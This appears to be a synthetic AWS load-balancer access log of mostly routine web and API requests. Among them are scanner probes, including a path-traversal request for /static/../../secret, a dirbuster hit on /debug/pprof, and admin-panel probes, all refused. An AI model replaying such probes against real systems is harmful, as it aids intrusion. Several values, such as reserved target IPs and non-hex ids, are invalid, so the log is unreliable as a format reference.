"-" "138.230.144.216:8080" "200" "-" "-" +https 2024-11-01T02:09:13.661246Z prod-web-alb 176.147.221.57:42141 10.0.105.127:443 0.002472 0.395511 0.020721 200 200 857 10296 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d5d9-442a46cb88d746778e05c751" "prod-web-alb.example.com" "-" 2 2024-11-01T02:09:13.661246Z "forward" "-" "-" "10.0.105.127:443" "200" "-" "-" +https 2024-11-01T02:09:14.918814Z prod-api-alb 50.216.239.82:25716 10.0.1.225:443 0.018376 0.454521 0.012175 302 302 138 7179 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d5da-32dd4c71810541c8b71dddb1" "prod-api-alb.example.com" "-" 6 2024-11-01T02:09:14.918814Z "forward" "-" "-" "10.0.1.225:443" "302" "-" "-" +http 2024-11-01T02:09:16.073216Z staging-alb 232.20.42.147:40151 238.195.201.42:80 0.027638 0.710715 0.002983 302 302 220 4406 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d5dc-685bfdd98bd04b758a6e5b81" "staging-alb.example.com" "-" 9 2024-11-01T02:09:16.073216Z "forward" "-" "-" "238.195.201.42:80" "302" "-" "-" +https 2024-11-01T02:09:17.650876Z staging-alb 196.104.185.213:36108 89.62.247.79:443 0.103535 0.617397 0.105436 200 200 948 4950 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d5dd-42edd678bec14e39a9cc231b" "staging-alb.example.com" "-" 6 2024-11-01T02:09:17.650876Z "forward" "-" "-" "89.62.247.79:443" "200" "-" "-" +https 2024-11-01T02:09:19.259537Z staging-alb 246.243.123.20:38298 122.11.243.67:443 0.112075 0.519366 0.129931 301 301 525 1280 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d5df-6170b37c1b4f4942b9126c37" "staging-alb.example.com" "-" 2 2024-11-01T02:09:19.259537Z "forward" "-" "-" "122.11.243.67:443" "301" "-" "-" +http 2024-11-01T02:09:21.116836Z staging-alb 141.221.76.168:11430 150.201.30.83:443 0.065837 0.592323 0.096144 200 200 476 3538 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d5e1-a87c6ad857a34e65ab778e52" "staging-alb.example.com" "-" 0 2024-11-01T02:09:21.116836Z "forward" "-" "-" "150.201.30.83:443" "200" "-" "-" +https 2024-11-01T02:09:22.001398Z prod-api-alb 188.222.37.142:20623 10.0.32.222:443 0.024125 0.306503 0.002235 404 404 412 12997 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d5e2-80300b0553da4d568c49f9a0" "prod-api-alb.example.com" "-" 10 2024-11-01T02:09:22.001398Z "forward" "-" "-" "10.0.32.222:443" "404" "-" "-" +https 2024-11-01T02:09:23.981495Z staging-alb 143.243.66.119:44774 0.161.241.169:443 0.140342 0.579644 0.021971 404 404 554 6505 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d5e3-e10f046b917d407e9b9c01b4" "staging-alb.example.com" "-" 4 2024-11-01T02:09:23.981495Z "forward" "-" "-" "0.161.241.169:443" "404" "-" "-" +https 2024-11-01T02:09:25.329932Z prod-api-alb 26.210.63.202:46177 10.0.156.11:443 0.083954 0.125745 0.094545 301 301 747 2447 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d5e5-dcac56a8f4ba4703b303723e" "prod-api-alb.example.com" "-" 7 2024-11-01T02:09:25.329932Z "forward" "-" "-" "10.0.156.11:443" "301" "-" "-" +https 2024-11-01T02:09:25.619627Z prod-api-alb 16.22.208.204:53964 10.0.51.224:443 0.000689 0.052213 0.006115 302 302 209 9115 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d5e5-24cf2bb6f414411e8d5917ad" "prod-api-alb.example.com" "-" 8 2024-11-01T02:09:25.619627Z "forward" "-" "-" "10.0.51.224:443" "302" "-" "-" +https 2024-11-01T02:09:27.333133Z prod-web-alb 35.152.237.235:44097 10.0.163.96:443 0.093565 0.048782 0.049040 302 302 476 12618 "GET /cart HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d5e7-320ce22ef2184985bbb91a33" "prod-web-alb.example.com" "-" 5 2024-11-01T02:09:27.333133Z "forward" "-" "-" "10.0.163.96:443" "302" "-" "-" +https 2024-11-01T02:09:28.881109Z prod-api-alb 244.9.19.170:27656 10.0.89.177:443 0.022027 0.001752 0.038762 302 302 84 2274 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d5e8-fd2d654b9331475eb1aaca6a" "prod-api-alb.example.com" "-" 2 2024-11-01T02:09:28.881109Z "forward" "-" "-" "10.0.89.177:443" "302" "-" "-" +https 2024-11-01T02:09:29.262012Z prod-api-alb 98.100.200.95:56344 10.0.113.253:443 0.091832 0.358493 0.080330 200 200 280 1881 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d5e9-9e5c74b79d7b4b6f85866d7c" "prod-api-alb.example.com" "-" 4 2024-11-01T02:09:29.262012Z "forward" "-" "-" "10.0.113.253:443" "200" "-" "-" +https 2024-11-01T02:09:29.807739Z staging-alb 193.27.228.159:16369 91.251.237.0:443 0.063839 0.414728 0.028103 403 403 574 14780 "GET /administrator HTTP/1.1" "zgrab/0.x" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d5e9-e4bd04ff92244ac3a81f4e2b" "-" "-" 1 2024-11-01T02:09:29.807739Z "forward" "-" "-" "91.251.237.0:443" "403" "-" "-" +https 2024-11-01T02:09:31.246407Z prod-api-alb 187.30.117.211:46167 10.0.207.188:443 0.081409 0.108618 0.049837 200 200 473 7148 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d5eb-6cbf303de33749efb7b30d4f" "prod-api-alb.example.com" "-" 0 2024-11-01T02:09:31.246407Z "forward" "-" "-" "10.0.207.188:443" "200" "-" "-" +https 2024-11-01T02:09:32.188166Z prod-api-alb 167.228.59.235:13503 10.0.11.50:443 0.020046 0.367690 0.047574 200 200 252 10825 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d5ec-e36daa6dbf2645d2bfbb203a" "prod-api-alb.example.com" "-" 10 2024-11-01T02:09:32.188166Z "forward" "-" "-" "10.0.11.50:443" "200" "-" "-" +https 2024-11-01T02:09:33.655008Z staging-alb 56.71.11.250:49868 34.30.22.34:8080 0.045436 0.001735 0.097372 200 200 779 4242 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d5ed-f923facaad3e4751b8d684ff" "staging-alb.example.com" "-" 2 2024-11-01T02:09:33.655008Z "forward" "-" "-" "34.30.22.34:8080" "200" "-" "-" +https 2024-11-01T02:09:34.949602Z prod-web-alb 69.167.228.97:64097 10.0.205.184:443 0.035065 0.072562 0.029638 301 301 725 9787 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d5ee-3f0e4cf103d74c2f900e0484" "prod-web-alb.example.com" "-" 5 2024-11-01T02:09:34.949602Z "forward" "-" "-" "10.0.205.184:443" "301" "-" "-" +http 2024-11-01T02:09:36.093229Z staging-alb 193.4.146.24:60332 52.67.176.149:443 0.073675 0.427871 0.105273 200 200 800 1002 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d5f0-38c6330d430440cca0b29d0f" "staging-alb.example.com" "-" 5 2024-11-01T02:09:36.093229Z "forward" "-" "-" "52.67.176.149:443" "200" "-" "-" +https 2024-11-01T02:09:36.734357Z prod-api-alb 152.176.36.43:26963 10.0.174.131:443 0.090416 0.412419 0.036054 200 200 898 246 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d5f0-b9471309136e4000beaa900c" "prod-api-alb.example.com" "-" 8 2024-11-01T02:09:36.734357Z "forward" "-" "-" "10.0.174.131:443" "200" "-" "-" +https 2024-11-01T02:09:38.677185Z prod-web-alb 72.176.46.77:55521 10.0.47.50:443 0.056417 0.499992 0.093543 301 301 841 10244 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d5f2-3911edf3ad1140c5967a62f9" "prod-web-alb.example.com" "-" 0 2024-11-01T02:09:38.677185Z "forward" "-" "-" "10.0.47.50:443" "301" "-" "-" +https 2024-11-01T02:09:40.197503Z prod-api-alb 67.105.54.7:63302 10.0.109.170:443 0.015520 0.055905 0.042067 302 302 703 8038 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d5f4-3ac5c5b3e0794d9d90986bcd" "prod-api-alb.example.com" "-" 6 2024-11-01T02:09:40.197503Z "forward" "-" "-" "10.0.109.170:443" "302" "-" "-" +https 2024-11-01T02:09:41.516104Z prod-api-alb 174.211.8.155:17765 10.0.162.209:443 0.047875 0.280040 0.058001 302 302 783 2438 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d5f5-38544315cb6e499ca3d3c606" "prod-api-alb.example.com" "-" 2 2024-11-01T02:09:41.516104Z "forward" "-" "-" "10.0.162.209:443" "302" "-" "-" +https 2024-11-01T02:09:42.543831Z staging-alb 185.150.37.137:29359 255.224.33.46:8080 0.085153 0.650274 0.003063 200 200 50 477 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d5f6-c59f40447a9b432092e2ab8d" "staging-alb.example.com" "-" 0 2024-11-01T02:09:42.543831Z "forward" "-" "-" "255.224.33.46:8080" "200" "-" "-" +https 2024-11-01T02:09:42.837276Z prod-web-alb 79.32.151.110:10916 10.0.39.204:443 0.037530 0.024120 0.076721 200 200 31 6298 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d5f6-3fb8a888e0be4e129155124c" "prod-web-alb.example.com" "-" 5 2024-11-01T02:09:42.837276Z "forward" "-" "-" "10.0.39.204:443" "200" "-" "-" +https 2024-11-01T02:09:43.879546Z prod-web-alb 252.37.86.158:20623 10.0.27.87:443 0.052952 0.447084 0.032092 302 302 646 10860 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d5f7-b861c4746d79411ba541a126" "prod-web-alb.example.com" "-" 6 2024-11-01T02:09:43.879546Z "forward" "-" "-" "10.0.27.87:443" "302" "-" "-" +https 2024-11-01T02:09:45.479719Z prod-api-alb 88.249.33.125:59334 10.0.162.162:443 0.047372 0.062759 0.067505 301 301 94 2480 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d5f9-f5b80ff7eecc479caf3edd16" "prod-api-alb.example.com" "-" 4 2024-11-01T02:09:45.479719Z "forward" "-" "-" "10.0.162.162:443" "301" "-" "-" +https 2024-11-01T02:09:47.119249Z prod-web-alb 70.122.233.109:56417 10.0.165.59:443 0.018049 0.185616 0.059827 301 301 153 1343 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d5fb-1d8c0110c063432fa720edd0" "prod-web-alb.example.com" "-" 7 2024-11-01T02:09:47.119249Z "forward" "-" "-" "10.0.165.59:443" "301" "-" "-" +https 2024-11-01T02:09:47.859440Z prod-api-alb 201.82.184.182:27765 10.0.4.79:443 0.003276 0.043571 0.055995 200 200 48 8253 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d5fb-49b4c5550ec54df4a399659a" "prod-api-alb.example.com" "-" 9 2024-11-01T02:09:47.859440Z "forward" "-" "-" "10.0.4.79:443" "200" "-" "-" +https 2024-11-01T02:09:49.230220Z staging-alb 161.92.73.166:23985 60.46.82.229:80 0.140529 0.527554 0.128504 404 404 821 10376 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d5fd-1b9e1db17b1743cb8c2de57b" "staging-alb.example.com" "-" 0 2024-11-01T02:09:49.230220Z "forward" "-" "-" "60.46.82.229:80" "404" "-" "-" +https 2024-11-01T02:09:51.078642Z prod-api-alb 1.252.202.167:50732 10.0.107.239:443 0.082313 0.189407 0.083683 302 302 728 6670 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d5ff-ced34b63bdf643a49fbfe9a0" "prod-api-alb.example.com" "-" 6 2024-11-01T02:09:51.078642Z "forward" "-" "-" "10.0.107.239:443" "302" "-" "-" +https 2024-11-01T02:09:52.969002Z prod-api-alb 193.27.228.126:34677 10.0.74.63:443 0.006671 0.397919 0.028931 404 404 76 8635 "POST /debug/pprof HTTP/1.1" "dirbuster/1.0-RC1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d600-471f4e98448c4d43b5108c6e" "-" "-" 1 2024-11-01T02:09:52.969002Z "forward" "-" "-" "10.0.74.63:443" "404" "-" "-" +https 2024-11-01T02:09:53.981451Z staging-alb 136.6.172.130:45019 225.203.165.13:8080 0.073141 0.661150 0.012270 302 302 665 10507 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d601-78b14441db7845a5b2afb9de" "staging-alb.example.com" "-" 8 2024-11-01T02:09:53.981451Z "forward" "-" "-" "225.203.165.13:8080" "302" "-" "-" +https 2024-11-01T02:09:55.119590Z prod-api-alb 199.21.152.112:24778 10.0.53.174:443 0.094731 0.026004 0.085043 301 301 358 12600 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d603-c502de2d0d194c3f89fa9e24" "prod-api-alb.example.com" "-" 5 2024-11-01T02:09:55.119590Z "forward" "-" "-" "10.0.53.174:443" "301" "-" "-" +https 2024-11-01T02:09:55.375081Z staging-alb 130.111.167.187:32179 63.88.86.235:80 0.107657 0.343441 0.129906 200 200 421 10845 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d603-2e6a466a0daa4e9c8d8bc41a" "staging-alb.example.com" "-" 9 2024-11-01T02:09:55.375081Z "forward" "-" "-" "63.88.86.235:80" "200" "-" "-" +https 2024-11-01T02:09:57.189813Z prod-web-alb 143.155.144.132:52227 10.0.52.103:443 0.014523 0.364516 0.097118 302 302 881 12983 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d605-de3d74a62ef947a5b740ce1e" "prod-web-alb.example.com" "-" 9 2024-11-01T02:09:57.189813Z "forward" "-" "-" "10.0.52.103:443" "302" "-" "-" +https 2024-11-01T02:09:58.547386Z prod-api-alb 175.236.222.19:58079 10.0.8.224:443 0.094896 0.014381 0.065809 200 200 61 10188 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d606-a08705b3b0de4209bf162ac1" "prod-api-alb.example.com" "-" 6 2024-11-01T02:09:58.547386Z "forward" "-" "-" "10.0.8.224:443" "200" "-" "-" +https 2024-11-01T02:09:59.520996Z staging-alb 180.252.242.240:23052 53.196.196.24:443 0.117208 0.390190 0.132458 200 200 533 10770 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d607-f839d2716ca14fb7b6eb8f5c" "staging-alb.example.com" "-" 5 2024-11-01T02:09:59.520996Z "forward" "-" "-" "53.196.196.24:443" "200" "-" "-" +https 2024-11-01T02:10:00.992508Z prod-api-alb 136.187.36.69:58971 10.0.41.192:443 0.085377 0.232201 0.078526 301 301 886 12413 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d608-bdf697f43bfb4f10b23236dc" "prod-api-alb.example.com" "-" 5 2024-11-01T02:10:00.992508Z "forward" "-" "-" "10.0.41.192:443" "301" "-" "-" +https 2024-11-01T02:10:01.753833Z prod-api-alb 27.93.25.148:62537 10.0.108.167:443 0.062598 0.193223 0.003727 302 302 234 4837 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d609-07ae7e749e914874a6f4112f" "prod-api-alb.example.com" "-" 7 2024-11-01T02:10:01.753833Z "forward" "-" "-" "10.0.108.167:443" "302" "-" "-" +https 2024-11-01T02:10:03.324104Z prod-web-alb 193.27.228.240:14795 10.0.226.222:443 0.066259 0.426556 0.099040 403 403 684 4367 "GET /static/../../secret HTTP/1.1" "zgrab/0.x" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d60b-4097fd3e57404b6a92270583" "-" "-" 8 2024-11-01T02:10:03.324104Z "forward" "-" "-" "10.0.226.222:443" "403" "-" "-" +http 2024-11-01T02:10:05.093072Z staging-alb 45.155.205.189:26336 186.213.198.137:443 0.050681 0.695268 0.051799 403 403 534 4416 "GET /wp-admin HTTP/1.1" "Qualys SSL Assessment Scanner" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d60d-40611d3b05384dc0b072606a" "-" "-" 1 2024-11-01T02:10:05.093072Z "forward" "-" "-" "186.213.198.137:443" "403" "-" "-" +https 2024-11-01T02:10:06.406193Z prod-api-alb 193.27.228.26:20937 10.0.78.243:443 0.001691 0.110906 0.099912 404 404 141 12015 "GET /static/../../secret HTTP/1.1" "Go-http-client/2.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d60e-2e53debbc78d431e9521075c" "-" "-" 7 2024-11-01T02:10:06.406193Z "forward" "-" "-" "10.0.78.243:443" "404" "-" "-" +https 2024-11-01T02:10:07.202674Z staging-alb 249.230.204.5:55075 138.127.99.214:80 0.099839 0.502596 0.013342 301 301 511 1151 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d60f-663b379bffba478faa970b60" "staging-alb.example.com" "-" 3 2024-11-01T02:10:07.202674Z "forward" "-" "-" "138.127.99.214:80" "301" "-" "-" +https 2024-11-01T02:10:08.728549Z prod-api-alb 225.23.36.79:14403 10.0.38.58:443 0.092241 0.380839 0.010241 301 301 402 10627 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d610-f72ec1fdf647468ea9c95648" "prod-api-alb.example.com" "-" 7 2024-11-01T02:10:08.728549Z "forward" "-" "-" "10.0.38.58:443" "301" "-" "-" +https 2024-11-01T02:10:10.634941Z staging-alb 62.113.187.146:10594 16.194.224.71:443 0.064975 0.731950 0.081906 200 200 898 10444 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d612-b04d5bc9668e48ca90cd951b" "staging-alb.example.com" "-" 2 2024-11-01T02:10:10.634941Z "forward" "-" "-" "16.194.224.71:443" "200" "-" "-" +https 2024-11-01T02:10:11.928921Z staging-alb 17.100.186.237:31403 87.94.94.57:443 0.085968 0.130639 0.075985 200 200 26 12662 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d613-64e582e8bfa44d0b8923fbc7" "staging-alb.example.com" "-" 6 2024-11-01T02:10:11.928921Z "forward" "-" "-" "87.94.94.57:443" "200" "-" "-" +http 2024-11-01T02:10:13.401238Z staging-alb 19.90.136.46:57021 209.28.72.211:443 0.110090 0.324667 0.013156 200 200 776 13711 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d615-2ddf2f5dbd7348409d312bac" "staging-alb.example.com" "-" 10 2024-11-01T02:10:13.401238Z "forward" "-" "-" "209.28.72.211:443" "200" "-" "-" +https 2024-11-01T02:10:14.285018Z prod-web-alb 207.7.117.10:38085 10.0.72.157:443 0.003092 0.266454 0.003358 200 200 408 14555 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 